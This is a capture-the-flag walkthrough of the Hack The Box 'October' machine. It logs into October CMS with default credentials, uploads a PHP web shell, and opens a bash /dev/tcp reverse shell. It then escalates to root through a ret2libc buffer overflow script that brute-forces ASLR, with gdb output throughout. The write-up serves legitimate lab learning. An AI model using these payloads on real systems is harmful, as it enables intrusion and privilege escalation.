October @ hackthebox

October is a relativly easy to moderate Linux machine, that has a fairly nice entry point. What makes this machine very interesting though is the privilege escalation part. It includes buffer overflow with some obstacle(s) on a way = ASLR.


Run basic NMAP search:

└──╼ $nmap -sC -sT -oA nmap -n
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 14:41 CET
Nmap scan report for
Host is up (0.034s latency).
Not shown: 998 filtered ports
22/tcp open ssh
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla

The web page is using October CMS – Vanilla.

October @ hackthebox

Since searchsploit/exploit-db returns a lot of results back, it makes sense to check the version used, which doesn’t seem to reveal itself on the first sight. I downloaded the logo october.png which dates back to the year 2017.

I used simple wget to download the logo.

└──╼ $wget
--2019-03-16 21:56:12--
Connecting to… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2708 (2.6K) [image/png]
Saving to: ‘october.png’
october.png 100%[=======================================================================================================>] 2.64K --.-KB/s in 0
2019-03-16 21:56:20 (243 MB/s) - ‘october.png’ saved [2708/2708]

Metadata can be checked with exif (exiftool – should be found in the Kali/Debian repository).

└──╼ $exif october.png
Corrupt data
The data provided does not follow the specification.
ExifLoader: The data supplied does not seem to contain EXIF data.
└──╼ $exiftool october.png
ExifTool Version Number : 11.16
File Name : october.png
Directory : .
File Size : 2.6 kB
File Modification Date/Time : 2017:04:20 19:18:02+00:00
File Access Date/Time : 2019:03:16 20:56:30+00:00
File Inode Change Date/Time : 2019:03:16 20:56:20+00:00

Exploit that dates back into 2017 has EBD-ID 41936. It is actually a collection of exploits/exposed vulnerabilities for version 1.0.412 which seems to be running. Only Caveat is that we have to be authenticated.

October @ hackthebox

I am going to run gobuster in the background.

└──╼ $/home/luka/tools/gobuster/gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u -x php 2>/dev/null
Gobuster v2.0.1 OJ Reeves (@TheColonial)
[+] Mode : dir
[+] Url/Domain :
[+] Threads : 10
[+] Wordlist : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : php
[+] Timeout : 10s
/index.php (Status: 200)
/blog (Status: 200)
/forum (Status: 200)
/themes (Status: 301)
/modules (Status: 301)
/account (Status: 200)
/tests (Status: 301)
/storage (Status: 301)
/plugins (Status: 301)
 /backend (Status: 302)
/Blog (Status: 200)
/vendor (Status: 301)
/config (Status: 301)
/Forum (Status: 200)
/error (Status: 200)

/backend seems to be admin login whereas admin/admin credentials are going to let us in.

October @ hackthebox

Since we can now authenticate, it means that we can now try to exploit vulnerabilities. The most promising and easy to exploit is PHP upload protection bypass. We can upload php5 code and be able to execute code.

October @ hackthebox

So lets upload cmd.php5 with following php code

<?php echo system($_REQUEST['cmd']); ?>
October @ hackthebox

We can very conveniently find the uploaded location clicking on PUBLIC URL “Click Here”

October @ hackthebox

Command execution is successful

October @ hackthebox

Reverse shell can be gotten using URL encoded bash -c “bash -i >& /dev/tcp/ 0>&1”

October @ hackthebox

Following lines are just to upgrade the shell into fully interactive shell. You can read more about fully interactive shell here: https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell

www-data@october:/var/www/html/cms/storage/app/media$ python -c "import pty; pty.spawn('/bin/bash');"   
<tml/cms/storage/app/media$ python -c "import pty; pty.spawn('/bin/bash');"
www-data@october:/var/www/html/cms/storage/app/media$ ^Z
[1]+ Stopped nc -lnvp 5555
└──╼ $stty raw -echo

After enumerating the system for privilege escalation, there seems to be a file which seems to contain a clue at the same time: ovrflw => overflow => Buffer Overflow!?

www-data@october:/var/www/html/cms/storage/app/media$ find / -perm -u=s -type f 2>/dev/null

File is a 32-bit executable

www-data@october:/var/www/html/cms/storage/app/media$ file ovrflw
ovrflw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

If we run a program and put enough characters into argument, we recieve “Segmentation fault (core dumped)”. This is another sign that buffer overflow is possible, combined with the name of the file, it does not fell like a rabitt hole.

For convenience the ovrflw file will be downloaded to the attacker machine. File can simply be copied to the media folder /var/www/html/cms/storage/app/media and downloaded using wget (wget or simply using browser

Running cat on the file is not really yielding any results and the output is difficult to read. We can run strings against the file instead, which reveal some functions – strcpy among others which is known to be buffer overflowable. Since the attackers system is using 64-bit debian based system and October system is being 32-bit, overflow cannot be tested on attackers machine.

www-data@october:/var/www/html/cms/storage/app/media$ cat /etc/issue
Ubuntu 14.04.5 LTS \n \l
www-data@october:/var/www/html/cms/storage/app/media$ uname -a
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux

I installed the same system on my VMware Player.

October @ hackthebox

To transfer the ovrflw program i used “python -m SimpleHTTPServer” on attacker machine and “wget” on the local ubuntu system.

October @ hackthebox

At this point we should check the integrity of the ovrflw program on October and on our Ubuntu Replica system using md5sum or sha512sum

For debugging i used gdb with plugin Peda (https://github.com/longld/peda). Program can be loaded with “gdb ./ovrflw”

We can check the security settings running “checksec” and “aslr”. We should synchronize this settings with the October machine BUT i did disabled ASLR at start.

October @ hackthebox

As with every other debugger we should set breakpoints, first will be on the main function.

To set breakpoint on main we do “b main” to run program + with arguments we do “r arguments_here”. To continue from breakpoint we use “c”

gdb-peda$ b main
Breakpoint 1 at 0x8048480

If we check ASLR settings on the October machine, we see that ASLR is enabled. (0=disabled;1=conservative randomization;2=Full randomization). If we want to disable ASLR (what we can do on the Ubuntu system), we set the value to 0.

www-data@october:/var/www/html/cms/storage/app/media$ cat /proc/sys/kernel/randomize_va_space
www-data@october:/var/www/html/cms/storage/app/media$ sysctl -a --pattern randomize
kernel.randomize_va_space = 2

To prove that we can run ldd against the ovrflw program and grep the libc a few times. If address changes, we know for sure that ASLR is changing the address of libc.

www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757f000)
www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7634000)
www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb762e000)
www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7641000)
www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c7000)
www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7627000)
www-data@october:/var/www/html/cms/storage/app/media$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758e000)

For buffer overflow, ASLR should be first deactivated. Then we will need the address from the EIP pointer, so we can set the right offset. Sequence doesn’t repeat itself, so we will know exactly where EIP is getting overwritten. Pattern_create and pattern_offset are metasploits modules that can be ran independently

└──╼ $/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
-l, --length The length of the pattern
-s, --sets Custom Pattern Sets
-h, --help Show this message

└──╼ $/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

If we copy this to our program on Ubuntu, the program will crash

gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program: /home/luka/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
EAX: 0x2
EBX: 0xb7fc0000 --> 0x1aada8
ECX: 0xb0029fc
EDX: 0xbfffefa4 --> 0xb7fc0000 --> 0x1aada8
ESI: 0x0
EDI: 0x0
EBP: 0xbfffef78 --> 0x0
ESP: 0xbfffef78 --> 0x0
EIP: 0x8048480 (: and esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
0x8048478 : jmp 0x80483f0
: push ebp
0x804847e : mov ebp,esp
=> 0x8048480 : and esp,0xfffffff0
0x8048483 : add esp,0xffffff80
0x8048486 : cmp DWORD PTR [ebp+0x8],0x1
0x804848a : jg 0x80484ad
0x804848c : mov eax,DWORD PTR [ebp+0xc]
0000| 0xbfffef78 --> 0x0
0004| 0xbfffef7c --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0008| 0xbfffef80 --> 0x2
0012| 0xbfffef84 --> 0xbffff014 --> 0xbffff207 ("/home/luka/ovrflw")
0016| 0xbfffef88 --> 0xbffff020 --> 0xbffff2e2 ("LC_PAPER=de_DE.UTF-8")
0020| 0xbfffef8c --> 0xb7feccca (: add ebx,0x12336)
0024| 0xbfffef90 --> 0x2
0028| 0xbfffef94 --> 0xbffff014 --> 0xbffff207 ("/home/luka/ovrflw")
Legend: code, data, rodata, value
Breakpoint 1, 0x08048480 in main ()
gdb-peda$ c
Program received signal SIGSEGV, Segmentation fault.
EAX: 0x0
EBX: 0xb7fc0000 --> 0x1aada8
ECX: 0xbffff2e0 --> 0x434c0067 ('g')
EDX: 0xbfffefd3 --> 0xff240067
ESI: 0x0
EDI: 0x0
EBP: 0x41366441 ('Ad6A')
ESP: 0xbfffef80 ("8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
EIP: 0x64413764 ('d7Ad')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
Invalid $PC address: 0x64413764
0000| 0xbfffef80 ("8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0004| 0xbfffef84 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0008| 0xbfffef88 ("e1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0012| 0xbfffef8c ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0016| 0xbfffef90 ("Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0020| 0xbfffef94 ("e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0024| 0xbfffef98 ("6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
0028| 0xbfffef9c ("Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag")
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
 0x64413764 in ?? (

To calculate the offset we can use pattern_offset.rb (which also comes with Metasploit). The offset to the Stack saved EIP Pointer is 112 bytes.

└──╼ $/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -h
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9
-q, --query Aa0A Query to Locate
-l, --length The length of the pattern
-s, --sets Custom Pattern Sets
-h, --help Show this message
└──╼ $/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764
 [*] Exact match at offset 112

You can test the offset, putting 112 random characters into the argument and 8 Bytes that you can recognize. EIP on which the program crashes on, should be that 8 bytes. Following script can be run in gdb with run `python filename.py`. You should see 0x76543210 in the EIP register as the program crashes.

import struct
buffer = "A" * 112
buffer += struct.pack("<I", 0x76543210)
print buffer

To make program work with ASLR still being disabled, we need a few memory addresses. Exit address isn’t really needed, since we don’t care if program crashes, but we still need to put something in that place. Check the comments to see how i’ve got the addresses.

import struct
system_address = struct.pack("<I",0xb7e55310) #p system - take libc
exit_address = struct.pack("<I",0xb7e25260) #p exit - take any address
arg_address = struct.pack("<I",0xb7f7584c) #searchmem /bin/sh - take libc
buffer = "A" * 112
buffer += system_address
buffer += exit_address
buffer += arg_address
print buffer

You can see how our values were put onto the stack.

EAX: 0x0
EBX: 0xb7fc0000 --> 0x1aada8
ECX: 0xbffff2e0 --> 0x5f434c00 ('')
EDX: 0xbfffefd8 --> 0xbffff000 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbfffefcc --> 0xb7e55310 (<__libc_system>: push ebx)
EIP: 0x80484cb (: ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
0x80484c0 : call 0x8048340
0x80484c5 : mov eax,0x0
0x80484ca : leave
=> 0x80484cb : ret
0x80484cc: xchg ax,ax
0x80484ce: xchg ax,ax
0x80484d0 <__libc_csu_init>: push ebp
0x80484d1 <__libc_csu_init+1>: push edi
 0000| 0xbfffefcc --> 0xb7e55310 (<__libc_system>:    push   ebx)
 0004| 0xbfffefd0 --> 0xb7e25260 ("6_opt_find")
 0008| 0xbfffefd4 --> 0xb7f7584c ("/bin/sh")
0012| 0xbfffefd8 --> 0xbffff000 --> 0x0
0016| 0xbfffefdc --> 0xb7feccca (: add ebx,0x12336)
0020| 0xbfffefe0 --> 0x2
0024| 0xbfffefe4 --> 0xbffff064 --> 0xbffff252 ("/home/luka/ovrflw")
0028| 0xbfffefe8 --> 0xbffff004 --> 0xbd859d57
Legend: code, data, rodata, value
0x080484cb in main ()

If shell starts, we know that buffer overflow program is working.

We should now enable ASLR back again setting /proc/sys/kernel/randomize_va_space to 2 again.“echo 2 > /proc/sys/kernel/randomize_va_space” or we can also move to the October machine directly.

With ASLR we see that only first and second byte are changing and we can brute force ASLR, so we will just have to run the same script about 256 times. You can check the libc address with ldd ovrflw | grep libc . We now need addresses and offsets on the October machine.

www-data@october:/var/www/html/cms/storage/app/media$ locate ovrflw
<tml/cms/storage/app/media$ ldd /usr/local/bin/ovrflw | grep libc            
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ff000)

</storage/app/media$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

Exit address:

www-data@october: readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

/bin/sh address.

www-data@october:/var/www/html/cms/storage/app/media$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh               
 162bac /bin/sh

And this is the final buffer overflow script.

www-data@october:/var/www/html/cms/storage/app/media$ cat buf.py
from subprocess import call
import struct

libc_addr = 0xb75ff000

system_off = 0x00040310
exit_off = 0x00033260
arg_off = 0x00162bac

system_addr = struct.pack("<I",libc_addr+system_off)
exit_addr = struct.pack("<I",libc_addr+exit_off)
arg_addr = struct.pack("<I",libc_addr+arg_off) 

buffer = "A" * 112
buffer += system_addr
buffer += exit_addr
buffer += arg_addr
while (i < 512):
	i +=1
	ret = call(["/usr/local/bin/ovrflw",buffer])

After running it with python, we should eventually get a shell with root privileges. We can read the flag.

# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# cat root.txt